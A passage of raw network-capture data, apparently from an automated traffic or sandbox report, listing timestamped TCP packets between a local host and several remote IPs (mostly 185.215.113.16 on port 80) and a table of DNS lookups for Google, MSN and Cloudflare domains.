Nov 23, 2024 05:03:02.464699030 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.464718103 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.464967012 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.465060949 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.465090036 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.468097925 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.571517944 CET	443	49936	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:02.571811914 CET	49936	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:02.571850061 CET	443	49936	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:02.573131084 CET	443	49936	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:02.573957920 CET	49936	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:02.574106932 CET	49936	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:02.574107885 CET	49936	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:02.574146986 CET	443	49936	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:02.574311972 CET	443	49936	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:02.574414968 CET	443	49936	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:02.583395958 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.583432913 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.583471060 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.583499908 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.587475061 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.587532043 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.589190006 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.589248896 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.589260101 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.589323044 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.614114046 CET	49936	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:02.655963898 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.656025887 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.656042099 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.656080008 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.658457994 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.658508062 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.658561945 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.658602953 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.661971092 CET	443	49937	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.662405968 CET	49937	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.662419081 CET	443	49937	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.662928104 CET	49937	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.662933111 CET	443	49937	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.668853045 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.668926001 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.669142008 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.669264078 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.675216913 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.675282001 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.675331116 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.675434113 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.685753107 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.685770035 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.685822964 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.685842991 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.693948984 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.694009066 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.694103956 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.694226980 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.700357914 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.700431108 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.700442076 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.700576067 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.708719969 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.708777905 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.708807945 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.708973885 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.716522932 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.716604948 CET	443	49855	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.716774940 CET	49855	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:03:02.717034101 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.717194080 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.717262983 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.721363068 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.721427917 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.721600056 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:03:02.724181890 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.724356890 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.724411011 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:03:02.724622011 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.724683046 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.724745989 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.724872112 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.732312918 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.732364893 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.753894091 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.754056931 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.754456997 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:03:02.757771015 CET	443	49853	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.757827044 CET	443	49853	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.758013964 CET	49853	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:03:02.796284914 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.796371937 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:03:02.796581030 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:03:02.822261095 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.822319031 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.822320938 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.822463989 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.824521065 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.824569941 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.824583054 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.824780941 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.847969055 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.848027945 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.848067045 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.848112106 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.850126028 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.850177050 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.850224972 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.850279093 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.854491949 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.854568958 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.856072903 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.856127024 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.856193066 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.856235981 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.860485077 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.860532045 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.860601902 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.860663891 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.864811897 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.864860058 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.864934921 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.864986897 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.869205952 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.869250059 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.869261026 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.869308949 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.873583078 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.873644114 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.873670101 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.873796940 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.877932072 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.877979994 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.878027916 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.878076077 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.882323027 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.882400036 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.882438898 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.882486105 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.886670113 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.886720896 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.886764050 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.886902094 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.891016960 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.891071081 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.891132116 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.891175032 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.895396948 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.895456076 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.895519972 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.895564079 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.899769068 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.899818897 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.899887085 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.899947882 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.904129028 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.904176950 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.904225111 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.904299021 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.908499002 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.908612967 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.908814907 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.912892103 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.912940025 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.912996054 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.913044930 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.917272091 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.917323112 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.917371035 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.917406082 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.921256065 CET	443	49942	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.921595097 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.921652079 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.921703100 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.921792984 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.921873093 CET	49942	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.921890974 CET	443	49942	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.922291994 CET	49942	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.922297001 CET	443	49942	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.925961018 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.926007986 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.926055908 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.926095009 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.930341005 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.930383921 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.930437088 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.930479050 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.954773903 CET	443	49941	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.955354929 CET	49941	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.955372095 CET	443	49941	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.955781937 CET	49941	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.955786943 CET	443	49941	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.996227026 CET	443	49939	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.996711969 CET	49939	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.996720076 CET	443	49939	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.997175932 CET	49939	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.997179985 CET	443	49939	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.999089956 CET	443	49940	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.999397039 CET	49940	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.999407053 CET	443	49940	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:02.999886036 CET	49940	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:02.999891043 CET	443	49940	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:03.014312983 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.014365911 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.014365911 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.014405966 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.016287088 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.016486883 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.040096045 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.040148973 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.040205956 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.040246010 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.041760921 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.041804075 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.041944981 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.041986942 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.045145035 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.045201063 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.045229912 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.045269966 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.048450947 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.048468113 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.048500061 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.048538923 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.051630974 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.051681995 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.051719904 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.051758051 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.054873943 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.054917097 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.054966927 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.055008888 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.058031082 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.058074951 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.058136940 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.058172941 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.061110020 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.061155081 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.061202049 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.061244011 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.064187050 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.064232111 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.064275980 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.064374924 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.067272902 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.067327023 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.067361116 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.067403078 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.070343971 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.070390940 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.070451021 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.070487976 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.073396921 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.073446989 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.073493958 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.073534966 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.074081898 CET	443	49943	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:03.074354887 CET	49943	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:03.074392080 CET	443	49943	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:03.074704885 CET	443	49943	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:03.075026989 CET	49943	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:03.075088978 CET	443	49943	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:03.075329065 CET	49943	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:03.075380087 CET	49943	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:03.075396061 CET	443	49943	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:03.076499939 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.076549053 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.076597929 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.076637983 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.079616070 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.079663992 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.079709053 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.079746008 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.082660913 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.082710981 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.082755089 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.082798004 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.085788012 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.085834026 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.085877895 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.085922956 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.088846922 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.088892937 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.088948011 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.088990927 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.091896057 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.091941118 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.092011929 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.092057943 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.094968081 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.095016003 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.095104933 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.095144033 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.098082066 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.098098040 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.098133087 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.098145008 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.101165056 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.101212978 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.101283073 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:03.101346970 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:03.104253054 CET	80	49938	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 05:02:27.723419905 CET	192.168.2.6	1.1.1.1	0xf3b6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:27.723584890 CET	192.168.2.6	1.1.1.1	0x9a8d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:34.605788946 CET	192.168.2.6	1.1.1.1	0x6f25	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:34.606714010 CET	192.168.2.6	1.1.1.1	0xc7e9	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:35.607975006 CET	192.168.2.6	1.1.1.1	0xf382	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:35.608144999 CET	192.168.2.6	1.1.1.1	0x6154	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:39.358894110 CET	192.168.2.6	1.1.1.1	0x10a6	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:39.359292030 CET	192.168.2.6	1.1.1.1	0x151d	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:42.514600039 CET	192.168.2.6	1.1.1.1	0x4157	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:42.514894009 CET	192.168.2.6	1.1.1.1	0x2ed	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 05:02:42.711613894 CET	192.168.2.6	1.1.1.1	0xfddf	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:42.711852074 CET	192.168.2.6	1.1.1.1	0x8719	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:44.265469074 CET	192.168.2.6	1.1.1.1	0xd319	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:44.265600920 CET	192.168.2.6	1.1.1.1	0xd54a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:44.265937090 CET	192.168.2.6	1.1.1.1	0xe529	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:44.266278982 CET	192.168.2.6	1.1.1.1	0xacee	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:44.273596048 CET	192.168.2.6	1.1.1.1	0x6fdd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:44.273832083 CET	192.168.2.6	1.1.1.1	0x7e68	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:47.382769108 CET	192.168.2.6	1.1.1.1	0x809f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:47.382884979 CET	192.168.2.6	1.1.1.1	0xef95	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 23, 2024 05:02:47.384807110 CET	192.168.2.6	1.1.1.1	0x50f9	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 05:02:47.386466026 CET	192.168.2.6	1.1.1.1	0x8165	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
